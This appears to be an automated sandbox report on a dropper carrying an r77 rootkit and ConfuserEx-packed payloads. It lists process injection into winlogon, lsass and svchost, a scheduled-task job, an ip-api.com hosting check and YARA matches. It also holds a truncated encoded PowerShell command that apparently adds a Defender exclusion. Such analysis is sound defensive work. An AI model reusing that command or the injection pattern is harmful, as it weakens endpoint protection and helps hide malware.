Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master\vs\x64\Release\Install.pdb source: 34432.exe, 00000004.00000002.371180159.000000001702D000.00000004.00000800.00020000.00000000.sdmp, 34432.exe, 00000004.00000002.361388892.0000000013A39000.00000004.00000800.00020000.00000000.sdmp, 34432.exe, 00000004.00000002.356979000.00000000039F5000.00000004.00000800.00020000.00000000.sdmp, 34432.exe, 00000004.00000002.360948518.0000000013998000.00000004.00000800.00020000.00000000.sdmp, 34432.exe, 00000004.00000003.333426645.000000001C445000.00000004.00000020.00020000.00000000.sdmp, nslookup.exe, nslookup.exe, 00000016.00000000.330232590.0000000140000000.00000040.00000400.00020000.00000000.sdmp, nslookup.exe, 00000016.00000000.329876550.0000000140000000.00000040.00000400.00020000.00000000.sdmp, nslookup.exe, 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master\vs\Release\r77-x86.pdb source: powershell.exe, 00000019.00000002.430828592.000002C880212000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.462661214.000002C890203000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.461611768.000002C890060000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master\vs\x64\Release\InstallService64.pdb source: powershell.exe, 00000019.00000002.430828592.000002C880212000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.462661214.000002C890203000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.463366324.000002C8902E9000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe
Source:	Binary string: x64.pdb source: svchost.exe
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master\vs\Release\InstallService32.pdb source: powershell.exe, 00000019.00000002.462661214.000002C890203000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.461611768.000002C890060000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master\vs\InstallStager\obj\x64\Release\InstallStager.pdb source: 34432.exe, 00000004.00000002.361388892.0000000013A39000.00000004.00000800.00020000.00000000.sdmp, 34432.exe, 00000004.00000002.360948518.0000000013998000.00000004.00000800.00020000.00000000.sdmp, 34432.exe, 00000004.00000002.356818562.00000000039A9000.00000004.00000800.00020000.00000000.sdmp, 34432.exe, 00000004.00000002.356782565.0000000003991000.00000004.00000800.00020000.00000000.sdmp, 34432.exe, 00000004.00000003.333426645.000000001C445000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.468321947.000002C8EBC93000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: N\rootkit\r77-rootkit-master\vs\x64\Release\r77-x64.pdb source: svchost.exe
Source:	Binary string: C:\projects\dotnetzip-semverd\src\Zip\obj\Release\DotNetZip.pdb source: ChiefKeefofficialnaxyi_crypted(6).exe, 00000002.00000002.225232923.0000000000113000.00000004.00000010.00020000.00000000.sdmp, ChiefKeefofficialnaxyi_crypted(6).exe, 00000002.00000003.224694291.0000000002672000.00000040.00001000.00020000.00000000.sdmp, AppLaunch.exe, 00000005.00000002.505647974.0000000000402000.00000020.00000400.00020000.00000000.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master\vs\x64\Release\r77-x64.pdb source: svchost.exe
Source:	Binary string: RYPTOCOIN\rootkit\r77-rootkit-master\vs\x64\Release\r77-x64.pdb source: svchost.exe

Source: C:\Users\user\Desktop\Install.exe	Code function: 1_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	1_2_00405C49
Source: C:\Users\user\Desktop\Install.exe	Code function: 1_2_00406873 FindFirstFileW,FindClose,	1_2_00406873
Source: C:\Users\user\Desktop\Install.exe	Code function: 1_2_0040290B FindFirstFileW,	1_2_0040290B
Source: C:\Windows\System32\nslookup.exe	Code function: 22_2_0000000140006E1C FindFirstFileExW,	22_2_0000000140006E1C
Source: C:\Windows\System32\dllhost.exe	Code function: 39_2_00000001400073C8 FindFirstFileExW,	39_2_00000001400073C8
Source: C:\Windows\System32\winlogon.exe	Code function: 42_2_000001AFDDD0D0E4 FindFirstFileExW,	42_2_000001AFDDD0D0E4
Source: C:\Windows\System32\lsass.exe	Code function: 44_2_00000240B2BBD0E4 FindFirstFileExW,	44_2_00000240B2BBD0E4
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001CAF3D0D0E4 FindFirstFileExW,	47_2_000001CAF3D0D0E4
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001B8BFF4D0E4 FindFirstFileExW,	49_2_000001B8BFF4D0E4

Networking

Uses nslookup.exe to query domains

Source: C:\Users\user\AppData\Roaming\34432.exe	Process created: C:\Windows\System32\nslookup.exe C:\Windows\System32\nslookup.exe
Source: C:\Users\user\AppData\Roaming\34432.exe	Process created: C:\Windows\System32\nslookup.exe C:\Windows\System32\nslookup.exe			Jump to behavior

Potential dropper URLs found in powershell memory

Source: powershell.exe, 00000008.00000002.291719056.000001FF52214000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://schemas.microsoft.com/cmdlets-over-objects/2009/11:Version, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:DefaultNoun, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:InstanceCmdlets, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:StaticCmdlets, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:CmdletAdapterPrivateData
Source: powershell.exe, 00000008.00000002.291719056.000001FF52214000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://schemas.microsoft.com/cmdlets-over-objects/2009/11:AllowEmptyCollection, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:AllowEmptyString, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:AllowNull, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateNotNull, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateNotNullOrEmpty, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateCount, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateLength, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateRange, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateSet, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:Obsolete
Source: powershell.exe, 00000008.00000002.291719056.000001FF52214000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://schemas.microsoft.com/cmdlets-over-objects/2009/11:Type, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:MaxValueQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:RegularQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ExcludeQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:MinValueQuery
Source: powershell.exe, 00000026.00000002.485582465.00000283A0A44000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://schemas.microsoft.com/cmdlets-over-objects/2009/11:Version, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:DefaultNoun, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:InstanceCmdlets, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:StaticCmdlets, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:CmdletAdapterPrivateData0I
Source: powershell.exe, 00000026.00000002.485582465.00000283A0A44000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://schemas.microsoft.com/cmdlets-over-objects/2009/11:Type, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:MaxValueQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:RegularQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ExcludeQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:MinValueQueryux

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: powershell.exe, 00000008.00000002.303519748.000001FF69E80000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.467492973.000002C8EBA50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000026.00000003.472356728.00000283B87D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mp
Source: powershell.exe, 00000026.00000003.472356728.00000283B87D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mpowershell-EncodedCommandQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHM
Source: AppLaunch.exe, 00000005.00000002.512763531.0000000006D47000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000005.00000002.512163132.0000000006CE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: AppLaunch.exe, 00000005.00000002.512163132.0000000006CE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: AppLaunch.exe, 00000005.00000002.512163132.0000000006CE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com4Uk
Source: Install.exe, 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmp, Install.exe, 00000001.00000000.217633196.000000000040A000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000008.00000002.301149982.000001FF61EE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.461611768.000002C890060000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.497193020.00000283B0710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000019.00000002.435620250.000002C8806DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000008.00000002.291719056.000001FF52214000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.485582465.00000283A0A44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 34432.exe, 00000004.00000002.356979000.00000000039F5000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000005.00000002.512163132.0000000006CE4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.288800846.000001FF51E81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.430121118.000002C880001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.477975029.00000283A06B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.291719056.000001FF52214000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.485582465.00000283A0A44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000019.00000002.435620250.000002C8806DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: AppLaunch.exe, 00000005.00000002.505647974.0000000000402000.00000020.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.codeplex.com/DotNetZip
Source: powershell.exe, 00000026.00000002.497193020.00000283B0710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000026.00000002.497193020.00000283B0710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000026.00000002.497193020.00000283B0710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000019.00000002.435620250.000002C8806DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000008.00000002.298759051.000001FF53502000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.299698983.000001FF5367C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.300217713.000001FF53864000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.493191066.00000283A1A2B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000003.422394060.00000283A2335000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000003.423315665.00000283A242E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000008.00000002.301149982.000001FF61EE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.461611768.000002C890060000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.497193020.00000283B0710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown

DNS traffic detected: queries for: ip-api.com

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: C:\Users\user\Desktop\Install.exe

Code function: 1_2_004056DE GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

1_2_004056DE

System Summary

Very long command line found

Source: unknown	Process created: Commandline size = 2585
Source: unknown	Process created: Commandline size = 2578

Source: C:\Users\user\Desktop\Install.exe	Code function: 1_2_0040755C	1_2_0040755C
Source: C:\Users\user\Desktop\Install.exe	Code function: 1_2_00406D85	1_2_00406D85
Source: C:\Users\user\AppData\Roaming\34432.exe	Code function: 4_2_00007FFF7E401C9B	4_2_00007FFF7E401C9B
Source: C:\Users\user\AppData\Roaming\34432.exe	Code function: 4_2_00007FFF7E405C20	4_2_00007FFF7E405C20
Source: C:\Users\user\AppData\Roaming\34432.exe	Code function: 4_2_00007FFF7E401CCC	4_2_00007FFF7E401CCC
Source: C:\Users\user\AppData\Roaming\34432.exe	Code function: 4_2_00007FFF7E401D60	4_2_00007FFF7E401D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 5_2_0532148E	5_2_0532148E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 5_2_05327D90	5_2_05327D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 5_2_05321DC1	5_2_05321DC1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 5_2_0532DF00	5_2_0532DF00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 5_2_0532BFA0	5_2_0532BFA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 5_2_0532C870	5_2_0532C870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 5_2_05320868	5_2_05320868
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 5_2_05320B48	5_2_05320B48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 5_2_05321587	5_2_05321587
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 5_2_053220F8	5_2_053220F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 5_2_0532BC58	5_2_0532BC58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 5_2_05321E71	5_2_05321E71
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 5_2_05320B39	5_2_05320B39
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 5_2_05320B82	5_2_05320B82
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 5_2_05327A38	5_2_05327A38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 5_2_09417560	5_2_09417560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 5_2_09417570	5_2_09417570
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFF7E3F1958	8_2_00007FFF7E3F1958
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFF7E3F19B8	8_2_00007FFF7E3F19B8
Source: C:\Windows\System32\nslookup.exe	Code function: 22_2_0000000140001000	22_2_0000000140001000
Source: C:\Windows\System32\nslookup.exe	Code function: 22_2_00000001400011D0	22_2_00000001400011D0
Source: C:\Windows\System32\nslookup.exe	Code function: 22_2_0000000140006C10	22_2_0000000140006C10
Source: C:\Windows\System32\nslookup.exe	Code function: 22_2_0000000140005098	22_2_0000000140005098
Source: C:\Windows\System32\nslookup.exe	Code function: 22_2_0000000140006E1C	22_2_0000000140006E1C
Source: C:\Windows\System32\nslookup.exe	Code function: 22_2_000000014000AABC	22_2_000000014000AABC
Source: C:\Windows\System32\nslookup.exe	Code function: 22_2_000000014000CAD8	22_2_000000014000CAD8
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Code function: 30_2_00007FFF7E3F4640	30_2_00007FFF7E3F4640
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Code function: 30_2_00007FFF7E3F1C9B	30_2_00007FFF7E3F1C9B
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Code function: 30_2_00007FFF7E3F1CCC	30_2_00007FFF7E3F1CCC
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Code function: 30_2_00007FFF7E3F1D60	30_2_00007FFF7E3F1D60
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Code function: 33_2_00007FFF7E401C9B	33_2_00007FFF7E401C9B
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Code function: 33_2_00007FFF7E401CCC	33_2_00007FFF7E401CCC
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Code function: 33_2_00007FFF7E401D60	33_2_00007FFF7E401D60
Source: C:\Windows\System32\dllhost.exe	Code function: 39_2_0000000140001000	39_2_0000000140001000
Source: C:\Windows\System32\dllhost.exe	Code function: 39_2_0000000140001420	39_2_0000000140001420
Source: C:\Windows\System32\dllhost.exe	Code function: 39_2_0000000140001430	39_2_0000000140001430
Source: C:\Windows\System32\dllhost.exe	Code function: 39_2_000000014000558C	39_2_000000014000558C
Source: C:\Windows\System32\dllhost.exe	Code function: 39_2_00000001400071BC	39_2_00000001400071BC
Source: C:\Windows\System32\dllhost.exe	Code function: 39_2_000000014000B2CC	39_2_000000014000B2CC
Source: C:\Windows\System32\dllhost.exe	Code function: 39_2_000000014000D2E8	39_2_000000014000D2E8
Source: C:\Windows\System32\dllhost.exe	Code function: 39_2_00000001400073C8	39_2_00000001400073C8
Source: C:\Windows\System32\winlogon.exe	Code function: 42_2_000001AFDDCDC4E4	42_2_000001AFDDCDC4E4
Source: C:\Windows\System32\winlogon.exe	Code function: 42_2_000001AFDDCE2418	42_2_000001AFDDCE2418
Source: C:\Windows\System32\winlogon.exe	Code function: 42_2_000001AFDDCD0800	42_2_000001AFDDCD0800
Source: C:\Windows\System32\winlogon.exe	Code function: 42_2_000001AFDDCE0400	42_2_000001AFDDCE0400
Source: C:\Windows\System32\winlogon.exe	Code function: 42_2_000001AFDDCDC2D8	42_2_000001AFDDCDC2D8
Source: C:\Windows\System32\winlogon.exe	Code function: 42_2_000001AFDDCD1660	42_2_000001AFDDCD1660
Source: C:\Windows\System32\winlogon.exe	Code function: 42_2_000001AFDDD01400	42_2_000001AFDDD01400
Source: C:\Windows\System32\winlogon.exe	Code function: 42_2_000001AFDDD0D0E4	42_2_000001AFDDD0D0E4
Source: C:\Windows\System32\winlogon.exe	Code function: 42_2_000001AFDDD13018	42_2_000001AFDDD13018
Source: C:\Windows\System32\winlogon.exe	Code function: 42_2_000001AFDDD11000	42_2_000001AFDDD11000
Source: C:\Windows\System32\winlogon.exe	Code function: 42_2_000001AFDDD0CED8	42_2_000001AFDDD0CED8
Source: C:\Windows\System32\winlogon.exe	Code function: 42_2_000001AFDDD02260	42_2_000001AFDDD02260
Source: C:\Windows\System32\lsass.exe	Code function: 44_2_00000240B2B8C4E4	44_2_00000240B2B8C4E4
Source: C:\Windows\System32\lsass.exe	Code function: 44_2_00000240B2B8C2D8	44_2_00000240B2B8C2D8
Source: C:\Windows\System32\lsass.exe	Code function: 44_2_00000240B2B81660	44_2_00000240B2B81660
Source: C:\Windows\System32\lsass.exe	Code function: 44_2_00000240B2B92418	44_2_00000240B2B92418
Source: C:\Windows\System32\lsass.exe	Code function: 44_2_00000240B2B80800	44_2_00000240B2B80800
Source: C:\Windows\System32\lsass.exe	Code function: 44_2_00000240B2B90400	44_2_00000240B2B90400
Source: C:\Windows\System32\lsass.exe	Code function: 44_2_00000240B2BBD0E4	44_2_00000240B2BBD0E4
Source: C:\Windows\System32\lsass.exe	Code function: 44_2_00000240B2BBCED8	44_2_00000240B2BBCED8
Source: C:\Windows\System32\lsass.exe	Code function: 44_2_00000240B2BB2260	44_2_00000240B2BB2260
Source: C:\Windows\System32\lsass.exe	Code function: 44_2_00000240B2BC3018	44_2_00000240B2BC3018
Source: C:\Windows\System32\lsass.exe	Code function: 44_2_00000240B2BB1400	44_2_00000240B2BB1400
Source: C:\Windows\System32\lsass.exe	Code function: 44_2_00000240B2BC1000	44_2_00000240B2BC1000
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001CAF3CE2418	47_2_000001CAF3CE2418
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001CAF3CE0400	47_2_000001CAF3CE0400
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001CAF3CD0800	47_2_000001CAF3CD0800
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001CAF3CDC2D8	47_2_000001CAF3CDC2D8
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001CAF3CD1660	47_2_000001CAF3CD1660
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001CAF3CDC4E4	47_2_000001CAF3CDC4E4
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001CAF3D01400	47_2_000001CAF3D01400
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001CAF3D02260	47_2_000001CAF3D02260
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001CAF3D0D0E4	47_2_000001CAF3D0D0E4
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001CAF3D13018	47_2_000001CAF3D13018
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001CAF3D11000	47_2_000001CAF3D11000
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001CAF3D0CED8	47_2_000001CAF3D0CED8
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001B8BFF11660	49_2_000001B8BFF11660
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001B8BFF1C4E4	49_2_000001B8BFF1C4E4
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001B8BFF22418	49_2_000001B8BFF22418
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001B8BFF10800	49_2_000001B8BFF10800
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001B8BFF20400	49_2_000001B8BFF20400
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001B8BFF1C2D8	49_2_000001B8BFF1C2D8
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001B8BFF41400	49_2_000001B8BFF41400
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001B8BFF42260	49_2_000001B8BFF42260
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001B8BFF4D0E4	49_2_000001B8BFF4D0E4
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001B8BFF53018	49_2_000001B8BFF53018
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001B8BFF51000	49_2_000001B8BFF51000
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001B8BFF4CED8	49_2_000001B8BFF4CED8

Source: Install.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: Install.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: 33.2.chrome.exe.fa0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25
Source: 30.0.chrome.exe.20000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25
Source: 30.2.chrome.exe.20000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25
Source: 4.0.34432.exe.770000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25
Source: 4.2.34432.exe.770000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25
Source: 33.0.chrome.exe.fa0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25
Source: C:\Users\user\AppData\Roaming\34432.exe, type: DROPPED	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe, type: DROPPED	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_oz5sx3tu.kvs.ps1

Source: C:\Users\user\Desktop\Install.exe

Code function: 1_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

1_2_0040352D

Source: C:\Windows\System32\nslookup.exe

File created: C:\Windows\Tasks\nslooksvc32.job

Source: C:\Windows\System32\dllhost.exe	Code function: 39_2_0000000140001420 OpenProcess,IsWow64Process,CloseHandle,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,LocalFree,CloseHandle,FindCloseChangeNotification,VirtualAllocEx,WriteProcessMemory,GetModuleHandleA,GetProcAddress,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,FindCloseChangeNotification,CloseHandle,	39_2_0000000140001420
